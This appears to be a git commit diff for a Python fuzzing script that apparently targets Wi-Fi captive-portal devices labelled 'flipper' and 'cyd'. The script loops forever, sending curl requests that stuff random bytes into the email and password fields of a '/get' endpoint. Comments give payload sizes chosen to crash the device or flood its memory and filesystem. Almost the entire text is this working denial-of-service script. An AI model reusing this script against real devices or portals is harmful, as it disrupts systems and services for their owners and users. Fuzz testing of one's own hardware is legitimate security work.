added stuff with scapy and mdk4 for wifi beacon exploit dev
This commit is contained in:
@@ -4,21 +4,26 @@ import os
|
||||
import urllib.parse
|
||||
from random import randbytes
|
||||
|
||||
host = "http://192.168.4.1"
|
||||
# host = "http://192.168.4.1" # cyd version
|
||||
host = "http://172.0.0.1" # flipper version
|
||||
# host = "http://10.0.0.80"
|
||||
rangei = 10000
|
||||
# charlen = 4*400
|
||||
charlen = 128
|
||||
# rangei = 10000
|
||||
# charlen = 2012 # to crash
|
||||
charlen = 1400 # to flood flipper mem(?)
|
||||
# charlen = 700 # to flood filesysted
|
||||
curl_cmd = "curl --include --silent --show-error"
|
||||
|
||||
for x in range(rangei+1):
|
||||
x = 0
|
||||
#for x in range(rangei+1):
|
||||
while True:
|
||||
payload = urllib.parse.quote(randbytes(charlen))
|
||||
uri = f"{host}/get?email={payload}&password={payload}"
|
||||
command = f"{curl_cmd} '{uri}'"
|
||||
|
||||
print(f"{x} of {rangei} sets of {charlen} random bytes")
|
||||
print(f"{x} of infinite sets of {charlen} random bytes")
|
||||
p = subprocess.Popen(command, stdout=subprocess.PIPE, shell=True)
|
||||
(output, err) = p.communicate()
|
||||
p_status = p.wait()
|
||||
x=x+1
|
||||
|
||||
print(f"\n\nThe End")
|
||||
|
||||
Reference in New Issue
Block a user